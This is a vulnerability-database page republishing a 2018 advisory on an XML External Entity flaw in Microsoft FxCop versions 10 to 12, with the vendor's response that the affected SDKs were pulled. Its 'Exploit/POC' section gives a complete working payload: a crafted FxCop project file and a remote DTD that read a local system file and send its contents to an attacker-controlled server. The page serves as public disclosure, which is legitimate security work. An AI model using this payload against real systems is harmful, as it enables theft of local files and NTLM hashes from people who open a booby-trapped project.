Lucene search
K

FxCop 10/12 - XML External Entity Injection Vulnerability

🗓️ 09 May 2018 00:00:00Reported by hyp3rlinxType 
zdt
 zdt
🔗 0day.today👁 25 Views

Windows FxCop v10-12 XML External Entity Injection Vulnerability

Code
[+] Credits: hyp3rlinx  
  
Vendor:
========
www.microsoft.com
 
 
Product:
===========
Microsoft Windows "FxCop" v10-12  
 
 
 
Vulnerability Type:
===================
XML External Entity
 
 
 
CVE Reference:
==============
N/A
 
 
Security Issue:
================
FxCop is vulnerable to XML injection attacks allowing local file exfiltration and or NTLM hash theft. Tested in Windows 7 and Windows 10 download SDK it works in both. 
If you have the the particular SDK in question it is probably there but needs to be installed as it was for me.
 
 
MSRC Response:
=============
"Weíve determined that the issue was fixed in FxCop 14.0, but that it repros in versions earlier than that (e.g. 10.0 -12.0  as far as SDKs are concerned, with version 13.0 skipped).
We have confirmation that the SDKs for Win8+ donít ship FxCop
We are going to pull Win7 SDKs containing v10-v12 of FxCop.  Dissecting SDKs and replacing the tool in situ is fraught with peril, and chaining in a later FxCop to run
after an SDKís install (if even feasible) would just draw attention to the problem.
Visual Studio (specifically, C++) ships a trimmed-down version of the Windows 7 SDK, but it does not include FxCop, and so is unaffected.
 
In summary, newer versions of FxCop are unaffected and we will pull afflicted versions from availability."
 
 
Exploit/POC:
=============
1) python -m SimpleHTTPServer
 
2) "POC.FxCop" 
 
<?xml version="1.0"?>
<!DOCTYPE roottag [ 
<!ENTITY % file SYSTEM "c:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8000/payload.dtd">
%dtd;]>
<FxCopProject Version="1.36" Name="My FxCop Project">&send;</FxCopProject>
 
 
3) "payload.dtd"
 
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8000?%file;'>">
%all;
 
4) Import or Open "POC.FxCop" file in FxCop
 
 
Files get exfiltrated to attacker server.

#  0day.today [2018-05-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 May 2018 00:00Current
7.2High risk
Vulners AI Score7.2
25